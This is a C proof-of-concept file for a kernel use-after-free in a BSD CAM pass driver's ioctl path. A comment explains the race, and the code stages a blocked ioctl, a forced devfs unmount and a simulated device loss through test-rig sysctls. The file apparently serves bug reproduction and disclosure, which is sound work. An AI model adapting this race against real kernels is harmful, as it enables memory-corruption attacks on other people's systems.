DF-5499 / poc5499.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 | /* * DF-5499: scsi_pass.c passioctl() runs CAMIOCOMMAND with NO periph * reference while blocking in cam_periph_getccb()/cam_periph_ccbwait() * (lock dropped). A forced devfs close (umount -f -> vflush FORCECLOSE * -> dev_dclose) drops the open's refcount to 0 while the ioctl thread * is still blocked inside passioctl; a concurrent AC_LOST_DEVICE * invalidation then frees periph+softc+path (camperiphfree) underneath * the blocked thread. Completing the held CCB walks the freed * ccb->ccb_h.path and wakes the thread into the freed softc * (devstat_end_transaction) and freed periph (cam_periph_unlock) * -> use-after-free. * * Stage-driven so an external script can snapshot hw.passsim.stat * between phases: the program polls /tmp/poc.stage. * 0: open secondary-devfs pass device, arm hang, spawn blocked T1 * 1: umount -f the secondary devfs (forced d_close under in-flight ioctl) * 2: sysctl hw.passsim.lost=1 (AC_LOST_DEVICE -> camperiphfree) * 3: sysctl hw.passsim.poison=1 * 4: sysctl hw.passsim.complete=1 (xpt_done held CCB -> UAF) * * usage: poc5499 <passunit> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <pthread.h> #include <sys/sysctl.h> #include <sys/mount.h> #include <sys/param.h> #include <sys/stat.h> #include <bus/cam/cam.h> #include <bus/cam/cam_ccb.h> #include <bus/cam/scsi/scsi_message.h> #include <bus/cam/scsi/scsi_all.h> #include <bus/cam/scsi/scsi_pass.h> static int fd; static volatile int ioctl_started; static const char *stage_file = "/tmp/poc.stage"; static int sysctl_set(const char *name, int v) { printf("[*] sysctl %s=%d\n", name, v); fflush(stdout); return sysctlbyname(name, NULL, NULL, &v, sizeof(v)); } static int read_stage(void) { char buf[32]; int n = open(stage_file, O_RDONLY); int v = -1; if (n >= 0) { ssize_t r = read(n, buf, sizeof(buf) - 1); if (r > 0) { buf[r] = '\0'; v = atoi(buf); } close(n); } return (v); } static void wait_stage(int want) { while (read_stage() < want) usleep(50000); } static void mark_ready(void) { FILE *f = fopen("/tmp/poc.ready", "w"); if (f) { fprintf(f, "ready\n"); fclose(f); } } static void * worker(void *arg) { union ccb uccb; int rc; memset(&uccb, 0, sizeof(uccb)); uccb.ccb_h.func_code = XPT_SCSI_IO; /* queued -> getccb path */ uccb.ccb_h.flags = CAM_DIR_NONE; uccb.ccb_h.retry_count = 1; uccb.ccb_h.timeout = 60 * 1000; /* 60s */ uccb.csio.tag_action = MSG_SIMPLE_Q_TAG; uccb.csio.cdb_len = 6; memset(&uccb.csio.cdb_io.cdb_bytes, 0, 16); /* TEST UNIT READY */ uccb.csio.dxfer_len = 0; printf("[T1] issuing CAMIOCOMMAND TUR (held by rig)\n"); ioctl_started = 1; rc = ioctl(fd, CAMIOCOMMAND, &uccb); printf("[T1] ioctl returned rc=%d errno=%d status=%#x\n", rc, errno, uccb.ccb_h.status); fflush(stdout); return (NULL); } int main(int argc, char **argv) { pthread_t th; char devpath[128]; int unit, s; if (argc != 2) { fprintf(stderr, "usage: poc5499 <passunit>\n"); return (1); } unit = atoi(argv[1]); unlink(stage_file); mkdir("/mnt/pw", 0700); if (mount("devfs", "/mnt/pw", 0, NULL) < 0 && errno != EBUSY) { printf("[-] mount devfs: %s\n", strerror(errno)); return (1); } snprintf(devpath, sizeof(devpath), "/mnt/pw/pass%d", unit); printf("[*] DF-5499: opening %s (secondary devfs)\n", devpath); fd = open(devpath, O_RDWR); if (fd < 0) { printf("[-] open %s: %s\n", devpath, strerror(errno)); return (1); } if (sysctl_set("hw.passsim.hang", 1) < 0) return (1); pthread_create(&th, NULL, worker, NULL); while (!ioctl_started) usleep(1000); sleep(1); /* T1 now blocked in cam_periph_ccbwait, no periph ref */ printf("[*] stage0 done: T1 blocked inside passioctl\n"); mark_ready(); wait_stage(1); printf("[*] stage1: umount -f /mnt/pw (forced d_close under " "in-flight ioctl)\n"); s = unmount("/mnt/pw", MNT_FORCE); printf("[*] stage1: unmount rc=%d errno=%d (%s)\n", s, errno, strerror(errno)); fflush(stdout); wait_stage(2); printf("[*] stage2: AC_LOST_DEVICE -> camperiphfree under T1\n"); sysctl_set("hw.passsim.lost", 1); fflush(stdout); wait_stage(3); printf("[*] stage3: poison freed objects\n"); sysctl_set("hw.passsim.poison", 1); fflush(stdout); wait_stage(4); printf("[*] stage4: complete held CCB -> UAF completion+wakeup\n"); sysctl_set("hw.passsim.complete", 1); fflush(stdout); pthread_join(th, NULL); printf("[-] thread returned; no panic observed\n"); return (0); } |